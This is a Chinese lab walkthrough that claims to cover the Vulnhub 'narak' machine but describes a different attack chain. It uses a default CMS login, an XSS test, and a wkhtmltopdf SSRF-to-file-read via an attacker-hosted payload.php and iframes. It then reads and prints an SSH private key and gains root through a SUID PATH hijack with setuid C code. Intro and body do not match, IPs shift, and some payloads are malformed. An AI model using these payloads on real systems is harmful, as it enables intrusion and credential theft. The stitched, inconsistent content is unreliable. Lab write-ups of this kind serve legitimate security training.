草庐IT

第二十一次打靶

我想对你说 2023-03-28 原文

靶机介绍

1)靶机地址:https://download.vulnhub.com/ha/narak.ova

2)靶机难度:中

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、密码字典定制、爆破密码、webdav漏洞、PUT方法上传、BF语言解码、MOTD注入、CVE-2021-3493提权

5)靶机简介:由于人脑的思维方式,我们不太能够记住毫无关联的一串字符组合,因此我们在设置自己帐号的密码时,通常还是会基于某些自己已知的信息,来变形组合形成自己的密码。因此在美剧《黑客军团》中,我们看到男主曾利用信息收集,生成某人的专属密码字典,并以此控制了对方的电子邮件。这种方法不仅适用于个人,对于企业系统往往也非常有效。本次打靶就会利用定制密码字典的方法,突破靶机的身份认证机制,并结合WEBDAV漏洞上传WEBSHELL,从而实现对目标靶机的边界突破。在本地提权阶段,使用两种方法。其中一种方法需要结合靶机的权限漏洞和某种小众编程语言的解码,才能最终完成。

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan -l

2)全端口扫描

# nmap -p- 172.24.10.133

3)服务版本扫描

# nmap -p1337,3306 -sC -sV 172.24.10.133

4)通过浏览器访问靶机的80端口,返回的是一个test2的文件列表,打开test2返回的是如下的页面

​ 根据页面提示可知,该网站主要用来给员工查看自己的配置文件,也支持将配置文件导出,且该CMS是使用开源的项目进行搭建,并且给出了开源项目的地址。通过访问页面源代码也未发现有价值信息

​ 在打开页面时,浏览器一直在加载页面资源,可通过burp查看,具体是哪个资源没有请求成功,导致浏览器一直处于加载状态

​ 默认情况下,加载jpg、png、css、js文件时,是不会截断的,此处将勾选去掉,使的burp同样支持这些资源的阶段。同时拦截返回的数据包

5)通过在burp抓取数据包,发现该网站请求了google上的一个js文件,因国内无法直接访问google,导致页面处于加载中

6)在本机启动clash代理(会在本地监听一个7891端口),将服务器的请求,通过Burp发送到代理

此时可将所有的页面资源全部加载出来,同时可点击页面右上方的Login按钮

7)打开页面提示的开源CMS项目所在的github的地址,在其中的install.php中找到了一个用户名admin和密码1234

地址:https://github.com/mihai-vlc/master-login-system

8)通过默认的用户名和密码在web页面登录,发现可以正常登录

页面返回welcome admin说明已经登录成功,在左上角出现一个admin的选项,该选项点击后选择profile,可查看admin用户的配置信息以及可以进行修改

9)在Edit profile中对admin用户的邮箱地址进行修改,提交后,发现会将邮箱地址,原样的显示到页面上

根据该显示可猜测此处是否存在XSS漏洞(当从客户端提交什么样的内容,那么服务端就会原样的返回)。通过多次测试发现,在邮箱中提交js代码,会进行过滤,但是在Display name中提交js代码,不会进行过滤

通过上述测试,确定存在XSS漏洞,且返回弹窗后,在URL中出现一个参数,对其进行SQL注入测试

http://172.24.10.133/test2/profile.php?u=1'
http://172.24.10.133/test2/profile.php?u=1' and 1=1 --
http://172.24.10.133/test2/profile.php?u=1' and 1=2 --

通过测试,发现此处并不存在SQL注入

10)对目标靶机web进行路径爬取

# dirsearch -u http://172.24.10.133

访问扫描出的页面,发现只是一个apache的页面,在该页面无可利用的有价值信息

11)返回登录页面,继续进行信息搜集,发现一个导出配置的功能,可将当前admin用户的配置信息导出

  1. 已下载的配置文件pdf不会对打靶有任何的帮助,但是查看该文档属性时,可以看到该pdf文件是由服务端的wkhtmltopdf组件生成的。(即将html文件信息->转化为pdf文件)

通过搜索发现wkhtmltopdf组件是一个命令行的工具,且存在一个文件包含漏洞

通过wkhtmltopdf组件可以读取或者加载网络上或着本地的资源及元数据信息

13)尝试在第九步中的display name中输入ifname标签,读取本地文件信息

<ifname src="file:///etc/passwd"></ifname>

返回首页后,无任何信息变化

13)尝试在第九步中的display name中输入ifname标签,读取网络资源信息

①现在kali主机启动httpd服务

# systemctl restart apache2
# echo test123 > /var/www/html/test.txt

②在web系统修改admin的配置信息从,插入payload

此处在首页面可查看到返回的信息,确认此处存在SSRF漏洞

14)参考如下文档,发现,需要现在攻击者的web服务器中防放置一个php的代码,然后再在目标靶机的web系统中(第九步)引用,让这段php代码在靶机中去执行,执行完成后,就可以读取靶机本地的文件

参考链接:http://hassankhanyusufzai.com/SSRF-to-LFI/

①先在kali主机生成文件

# cat /var/www/html/payload.php
<?php header('location:file://'.$_REQUEST['url']); ?>

②在目标靶机的web系统中(第九步)通过payload.php的url参数查看本地文件信息。保存配置

<ifname src="http://172.24.10.131/payload.php?url=/etc/passwd"  height=800 width=4000></ifname>

③导出配置时才会激活wkhtmltopdf组件,查看pdf文件,发现已经可以查看到/etc/passwd的信息,SSRF漏洞利用成功

④通过检查发现,存在一个可供登录的普通用户gemini1

注:通过测试发现,该漏洞只能实现文件的读取,不能实现命令执行

15)通过在github查看CMS源代码,发现存在一个setting.php文件,该文件中存在数据库的配置信息

16)通过SSRF漏洞,查看靶机web系统的数据库信息

<iframe src="172.24.10.131?url=/var/www/html/test2/inc/settings.php" height="2000" width="800"></iframe>

上述源码信息,对突破边界并没有实际的作用

17)通过用户文件可知靶机存在gemini1用户,并可知该用户的家目录,通过SSRF漏洞,查看该用户是否使用了ssh公钥身份认证信息,如果使用了公钥身份认证,那么就会存在/home/gemini1/.ssh/id_rsa文件或者/home/gemini1/.ssh/id_rsa.pub文件,及authorized_keys文件,那么就可以通过获取私钥,登录目标服务器

<iframe  src="http://172.24.10.131/payload.php?url=/home/gemini1/.ssh/id_rsa" height="2000" width="800"></iframe>

①将上述文件输入至第13步的display标签中,保存成功,再将配置文件导出,生成的配置文件中包含了id_rsa。说明在目标靶机存在ssh的公钥和私钥信息

②查看目标服务器是否存在authorized_keys文件,如果文件存在,且该文件内容和公钥文件内容一致,即该公私可完成基于密钥的ssh认证登录。

<iframe  src="http://172.24.10.131/payload.php?url=/home/gemini1/.ssh/authorized_keys" height="2000" width="800"></iframe>

③结果显示,该authorized_keys文件存在,说明目标靶机是允许某个账号通过公钥登录目标靶机。查看公钥文件内容

<iframe  src="http://172.24.10.131/payload.php?url=/home/gemini1/.ssh/id_rsa.pub" height="2000" width="800"></iframe>

④发现公钥文件id_rsa.pub内容和authorized_keys文件内容一致,说明即可通过账号gemini1,和私钥远程登陆只目标靶机。先将私钥保存至kali主机

# cat id_rsa 
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs
6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u
Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V
u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z
DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p
oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY
WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD
eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM
QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ
rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR
MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn
1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI
xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC
1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY
AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl
aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu
968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9
r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco
tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7
WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp
U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk
SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h
JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh
vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt
j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=
-----END RSA PRIVATE KEY-----
# chmod 400 id_rsa
# ssh -i id_rsa gemini1@172.24.10.134

18)对目标靶机进行信息搜集:查看内核版本、sudo权限配置,均无法成功提权

19)查看属主为root,且存在suid权限及可执行权限的文件

$ find / -user root -type f -perm -u+sx -ls 2>/dev/null

①根据上图显示,存在一个listinfo的文件,查看文件类型发现是一个可执行文件,且该文件执行后,会显示一些系统命令的输出信息

$ file /usr/bin/listinfo
$ /usr/bin/listinfo

②利用strings命令打印/usr/bin/listinfo文件中可打印的字符串,发现上述输出信息,都是调用的系统命令来执行

20)ifconfig、netstat命令都使用了绝对绝对路径,但是date命令使用的是环境变量调用,所以可以在本地编译一段提权代码,修改文件名为date,再修改环境变量。最后执行/usr/bin/listinfo来获取到root权限

①编辑提权代码

$ cat date.c 
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(){
  setuid(0);
  setgid(0);
  system("/bin/bash");
}

②将C语言代码进行编译

$ gcc date.c -o date
$ ls -l date
-rwxr-xr-x 1 gemini1 gemini1 8736 Mar  3 08:52 date

③修改环境变量,使得/usr/bin/listinfo执行时,优先使用/home/gemini1路径下的date命令

$ pwd
/home/gemini1
$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ export PATH=/home/gemini1:$PATH
$ /usr/bin/listinfo

④执行/usr/bin/listinfo命令。提权,获取到flag

$ /usr/bin/listinfo

有关第二十一次打靶的更多相关文章

  1. LinuxGUI自动化测试框架搭建(二十二)-框架主入口main.py设计&log日志调用 - 2

    (二十二)-框架主入口main.py设计&log日志调用和生成1测试目的2测试需求3需求分析4详细设计4.1新建存放日志目录log4.1.1配置config.py中写入log的目录4.2`baseInfo.py`中加入日志4.3`test_gedit.py`中加入日志4.4主函数入口main.py中调用日志5调用日志主函数main.py源码6`baseInfo.py`源码7`test_gedit.py`源码8运行效果9目前框架结构1测试目的组织运行所有的测试用例,并调用日志模块,便于问题定位。

  2. ruby - 此修改后的二十一点游戏的最佳获胜策略是什么? - 2

    问题有没有可以保持的最佳值(value),这样我才能赢得尽可能多的比赛?如果是这样,那是什么?编辑:是否可以为给定的限制计算出确切的获胜概率,而与对手的所作所为无关?(自大学以来,我还没有做过概率和统计)。我有兴趣将其作为与模拟结果进行对比的答案。编辑:修复了我算法中的错误,更新了结果表。背景我一直在玩改进的二十一点游戏,其中对标准规则进行了一些相当烦人的规则调整。我已将与标准二十一点规则不同的规则斜体化,并为不熟悉的人添加了二十一点规则。修改二十一点规则正是两个人类玩家(经销商无关)每个玩家面朝下发两张牌双方玩家_ever_都不知道对手纸牌的_any_的值在_both_完成手牌之前,

  3. 工程(十一)——NUC11+D435i+VINS-FUSION+ESDF建图(github代码) - 2

    博主的合并代码git@github.com:huashu996/VINS-FUSION-ESDFmap.git一、D435i深度相机配置1.1SDK+ROS参考我之前的博客,步骤和所遇见的问题已经写的很详细了https://blog.csdn.net/HUASHUDEYANJING/article/details/129323834?spm=1001.2014.3001.55011.2相机标定参数1、相机内参通过rostopic的camera/info获取header:标准消息头seq:序列ID,连续递增的ID号stamp:两个时间戳frame_id:与此数据相关联的帧IDheight:图像尺

  4. ElasticSearch(十一)【集群搭建】 - 2

    十一、ES集群的相关概念上一篇文章《ElasticSearch-聚合查询》集群(cluster)一个集群就是由一个或多个节点组织在一起,它们共同持有你整个的数据,并一起提供索引和搜整合应用索功能。一个集群由一个唯一的名字标识,这个名字默认就是elasticsearch。这个名字是重要的,因为一个节点只能通过指定某个集群的名字,来加入这个集群节点(node)一个节点是集群中的一个服务器,作为集群的一部分,它存储你的数据,参与集群的索引节点和搜索功能。和集群类似,一个节点也是由一个名字来标识的,默认情况下,这个名字是一个随机的漫威漫画角色的名字,这个名字会在启动的时候赋予节点索引(Index)一组

  5. 计算机网络(十一)——导论与路由器工作原理 - 2

    文章目录1.网络层的概述2.路由器的工作原理2.1路由器的组成2.2转发2.2.1查找2.2.2交换2.2.3输出端口处理核心内容路由器的工作原理1.网络层的概述(1)功能结构网络层用于提供主机与主机之间的逻辑通信,源主机网络层接收来自运输层的报文段,将其封装为一个数据报并向相邻的路由器发送数据报。接收方的网络层接收来自相邻路由器的数据报,提取出报文段交付给运输层。为此需要提供转发和路由选择两个功能。网络层能够被划分为两个相互作用的部分,数据部分和路由部分:数据部分的主要作用:转发,即分组从输入链路接口转发到合适的输出链路接口。控制部分的主要作用:路由选择,即决定从源主机到目的主机,分组所采用

  6. 山东大学项目实训(二十七)—— 微信小程序开发总结,一年时间真的可以改变一个人很多 - 2

    智慧医院不良事件精细化管理平台——微信小程序总结一、实现的功能二、项目收获三、总结(经历分享)一、实现的功能到目前为止,微信小程序开发,到此就算是结束了,其中实现了不少功能,如下:1.1角色与权限(后端同学实现的,写这个方便介绍后面的功能)平台可以配置不同的用户角色并授予其不同的操作权限。每个用户在使用平台时都需要指定一个角色。1.2可视范围——根据角色绑定的权限菜单全体职工可以查看自己上报的事件(待审核、已通过、被驳回)。质控人员可以查看所有的事件(待审核、待评价、已通过、已驳回、已评价)。职能人员可以查看自己/自己部门负责的事件(待整改、待评价、已评价)。各科室医务人员可以查看本科室相关的

  7. STM32_基础入门(十一)第二篇_通用定时器使用详解 - 2

    持续关注阿杰在线更新保姆式笔记~~坚持日更目录一、通用定时器基本介绍二、基本定时功能1、定时器时钟来源分析2、常用库函数3、代码区三、定时器输出PWM3.1基本介绍3.2 PWM工作过程​3.3 常用库函数 ​PWM输出配置步骤: 3.4 代码区四、输入捕获功能1.基本介绍2.工作过程3.常用库函数 输入捕获的一般配置步骤 代码区一、通用定时器基本介绍通用定时器包括TIM2、TIM3、TIM4和TIM5STM32通用定时器是一个通过可编程预分频器驱动的16位自动装载计数器构成。每个定时器都是完全独立的,没有互相共享任何资源。它们可以一起同步操作。定时器可以进行定时器基本定时,输出4路PWM,输

  8. Javascript getDay 返回四月、六月、九月、十一月的错误值 - 2

    我正在使用位于此处的脚本:http://www.javascriptkit.com/script/script2/dyndateselector.shtml如果您尝试并转到4月、6月、9月或11月中的任何一个,您会发现星期几列不正确。这是不正确数据的列表(x开始y的东西显示下个月。)被窃听的月份:4月4日(星期日而不是星期五开始)五月从周日开始6月6日(周五而不是周三开始)七月从星期五开始9/9月(星期六而不是星期四开始)十月从星期六开始11/11月(星期四而不是星期二开始)十二月从星期四开始您会注意到每个有错误的月份都是从下个月的那一天开始的,但所有其他月份似乎都是正确的。我找不到关

  9. 【web系列十一】使用django创建数据库表 - 2

    目录基本介绍ModelORM创建数据库的流程安装插件        安装python中操作MySQL的库,这里用了django官方推荐的mysqlclient创建数据库连接数据库1、工程同名app下的settings.py2、子应用的models.py3、子应用中的admin.py生成数据表1、更新数据表变化情况2、生成/更新数据表3、版本回退详解Model语法字段定义外键参数其他一些参数的含义数据库操作添加数据获取数据更新数据更新包含外键的数据删除数据更新数据表结构方法1:先删除再重构方法2:新增字段可以直接在原结构上添加问题记录django中获取的当前时间被保存到mysql数据库中会有时差

  10. 走进小程序【十一】微信小程序【使用Echarts 和 腾讯地图】 - 2

    文章目录🌟前言🌟效果展示🌟使用Echarts🌟Echarts官网🌟体验示例小程序🌟下载🌟引入组件🌟创建图表🌟暂不支持的功能🌟使用地图🌟map组件🌟创建图表🌟写在最后🌟前言哈喽小伙伴们,小程序的新星计划在这周也进入了尾声,回顾一个月输出小程序相关文章以来,收获颇多充实了很多;大家一定在项目需求当中遇到过需要使用Echarts和地图组件吧;今天这篇文章我会带领大家去实际的操作一下;话不多说,咱们直接开整!🤘🌟效果展示🌟使用Echarts🌟Echarts官网Echarts官方介绍微信小程序使用Echarts🌟体验示例小程序在微信中扫描下面的二维码即可体验EChartsDemo:🌟下载为了兼容小程序C

随机推荐